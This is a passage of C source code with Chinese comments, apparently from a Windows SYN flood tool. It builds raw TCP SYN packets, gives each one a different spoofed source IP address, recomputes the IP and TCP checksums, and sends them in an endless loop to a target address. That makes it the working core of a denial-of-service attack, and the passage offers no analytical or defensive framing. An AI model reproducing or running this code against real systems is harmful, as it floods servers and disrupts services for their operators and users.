psd_header.saddr=ip_header.sourceIP; //源地址 psd_header.daddr=ip_header.destIP; //目的地址 psd_header.mbz=0; psd_header.ptcl=IPPROTO_TCP; //協議類型 psd_header.tcpl=htons(sizeof(tcp_header)); //TCP首部長度 while(1) { //每發送10,240個報文輸出一個標示符 printf("."); for(counter=0;counter<10240;counter++){ if(SendSEQ++==65536) SendSEQ=1; //序列號迴圈 //更改IP首部 ip_header.checksum=0; //16位IP首部校驗和 ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址 //更改TCP首部 tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列號 tcp_header.th_sum=0; //校驗和 //更改TCP Pseudo Header psd_header.saddr=ip_header.sourceIP; //計算TCP校驗和,計算校驗和時需要包括TCP pseudo header memcpy(SendBuf,&psd_header,sizeof(psd_header)); memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header)); tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_ header)); //計算IP校驗和 memcpy(SendBuf,&ip_header,sizeof(ip_header)); memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header)); memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4); datasize=sizeof(ip_header)+sizeof(tcp_header); ip_header.checksum=checksum((USHORT *)SendBuf,datasize); //填充發送緩衝區 memcpy(SendBuf,&ip_header,sizeof(ip_header)); //發送TCP報文 ErrorCode=sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr)); if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError()); }//End of for }//End of While }//End of try __finally { if (SockRaw != INVALID_SOCKET) closesocket(SockRaw); WSACleanup(); } return 0; }